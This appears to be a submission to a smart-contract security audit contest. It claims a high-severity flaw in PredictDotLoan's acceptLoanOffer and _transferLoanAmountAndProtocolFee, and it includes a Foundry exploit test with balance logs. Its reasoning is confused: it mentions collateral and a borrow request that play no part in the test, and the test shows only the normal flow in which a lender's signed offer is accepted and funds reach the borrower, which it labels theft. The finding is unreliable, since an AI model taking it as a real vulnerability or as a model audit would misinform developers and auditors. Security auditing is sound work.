Mini Pine Rattlesnake
High
In the acceptLoanOffer
function, insufficient authorization checks on token transfers create potential exploit scenarios where users can withdraw funds by simply approving the contract, leaving funded accounts vulnerable to malicious actions.
The sensitive transaction logic within _transferLoanAmountAndProtocolFee
carries a critical flaw. It permits arbitrary addresses as the source (from
) without rigorous validation of transaction intents.
889: function _transferLoanAmountAndProtocolFee(
890: address from,
891: address to,
892: uint256 loanAmount
893: ) private returns (uint256 protocolFee) {
894: protocolFee = (loanAmount * protocolFeeBasisPoints) / 10_000;
895:@=> LOAN_TOKEN.safeTransferFrom(from, to, loanAmount - protocolFee);
896: if (protocolFee > 0) {
897:@=> LOAN_TOKEN.safeTransferFrom(from, protocolFeeRecipient, protocolFee);
898: }
899: }
- https://github.com/sherlock-audit/2024-09-predict-fun/blob/main/predict-dot-loan/contracts/PredictDotLoan.sol#L895
- https://github.com/sherlock-audit/2024-09-predict-fun/blob/main/predict-dot-loan/contracts/PredictDotLoan.sol#L897
- Initial Approval:
- Lender B receives a request using
acceptBorrowRequest
- Borrower A Acknowledges Approval:
- Borrower A knows that B has given consent.
- Exploitation by Borrower A:
- A calls a function that uses
_transferLoanAmountAndProtocolFee
, namelyacceptLoanOffer
because_acceptOffer
calls_transferLoanAmountAndProtocolFee
, to accept a loan offer from lender B. - When borrower A accepts a credit offer (
acceptLoanOffer
), this process involves transferring the specified collateral from borrower A account. - Since the contract does not verify that
from
is a legitimate party to trigger the transfer, borrower A can steal from lender B.
- Result:
- Funds are transferred from B without B's direct authorization, and A successfully steals the funds.
Lender B may suffer financial loss because borrower A steals funds from lender B.
This is a derivative contract of PredictDotLoan.acceptLoanOffer.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import {PredictDotLoan_AcceptLoanOffer_Test} from "./PredictDotLoan.acceptLoanOffer.t.sol";
import {IPredictDotLoan} from "../../contracts/interfaces/IPredictDotLoan.sol";
contract PredictDotLoan_ExploitSimulation_Test is PredictDotLoan_AcceptLoanOffer_Test {
function test_exploit_scenario() public {
// Setup initial conditions for acceptLoanOffer
IPredictDotLoan.Proposal memory proposal = _generateLoanOffer(IPredictDotLoan.QuestionType.Binary);
proposal.from = lender; // Original lender
proposal.signature = _signProposal(proposal);
// Exploit by setting `from`
address unauthorizedAddress = borrower;
// Mint tokens
mockERC20.mint(unauthorizedAddress, proposal.loanAmount);
vm.prank(unauthorizedAddress);
mockERC20.approve(address(predictDotLoan), proposal.loanAmount);
// Log initial balance of the borrower
uint256 initialBorrowerBalance = mockERC20.balanceOf(borrower);
emit log_named_uint("Initial Borrower Balance", initialBorrowerBalance);
// Log initial balance of the lender
uint256 initialLenderBalance = mockERC20.balanceOf(lender);
emit log_named_uint("Initial Lender Balance", initialLenderBalance);
// Attempt to exploit acceptLoanOffer
vm.prank(unauthorizedAddress);
predictDotLoan.acceptLoanOffer(proposal, proposal.loanAmount);
// Log the amount borrowed
emit log_named_uint("Amount Borrowed", proposal.loanAmount);
// Check the borrower's balance after the loan
uint256 borrowerBalance = mockERC20.balanceOf(borrower);
emit log_named_uint("Borrower Balance After Loan", borrowerBalance);
// Check the lender's balance after the loan
uint256 lenderBalance = mockERC20.balanceOf(lender);
emit log_named_uint("Lender Balance After Loan", lenderBalance);
// Log a message indicating the test passed
emit log("Test passed: Borrower and lender balances after loan logged successfully");
}
}
Logs:
Initial Borrower Balance: 700000000000000000000
Initial Lender Balance: 700000000000000000000
Amount Borrowed: 700000000000000000000
Borrower Balance After Loan: 1400000000000000000000
Lender Balance After Loan: 0
Test passed: Borrower and lender balances after loan logged successfully